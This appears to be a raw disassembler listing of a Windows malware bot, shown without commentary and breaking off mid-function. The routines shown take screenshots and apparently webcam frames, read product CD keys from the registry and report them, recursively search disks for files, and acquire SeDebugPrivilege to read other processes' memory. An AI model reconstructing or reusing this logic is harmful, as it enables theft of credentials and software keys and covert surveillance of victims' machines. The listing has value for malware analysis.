		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43F6AC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43F544
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43F6B0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43F598
		mov	ebx, eax


loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 2630000h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2620000h
		nop
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2620000h


loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2620000h
		push	[ebp+arg_0]
		nop
		call	near ptr 2611A31h
		push	1
		pop	esi


loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43F5CC
		push	[ebp+var_4]
		call	dword_43F530
		mov	edi, [ebp+var_20]


loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43F530
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------


loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43F530
		push	[ebp+var_4]
		call	dword_43F530


loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax


loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EDp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------


loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------


loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax


loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856


loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4


loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------


loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx


loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h


loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h


loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43F6C4


loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43F6C4


loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43F6C4


loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43F718
		mov	eax, ebx


loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A6p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------


loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------


loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax


loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F


loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4


loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------


loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx


loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43F6C4


loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h


loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax


loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4


loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43F6C4


loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43F6C4


loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43F6C4


loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43F6C4


loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4


loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43F6C4


loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43F718
		mov	eax, ebx


loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+588Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43F6D8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43F574
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax


loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------


loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------


loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]


loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h


loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------


loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43F644
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi


loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D62o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2


loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E


loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 2690000h
		test	eax, eax
		jnz	short loc_408F31


loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		nop
		call	near ptr 26703ADh
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028


loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		nop
		call	near ptr 2690000h
		test	eax, eax
		jnz	short loc_408FD9


loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		nop
		call	near ptr 26703ADh
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5237o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------


loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26D0C95h
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43F314, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43F308, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43F518, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43F310, eax
		call	esi
		mov	dword_43F30C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_43E308
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43EB08
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43F520
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------


loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539


loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43F520, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------


loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------


loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706


loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80


loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 26C074Dh
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------


loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C


loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h


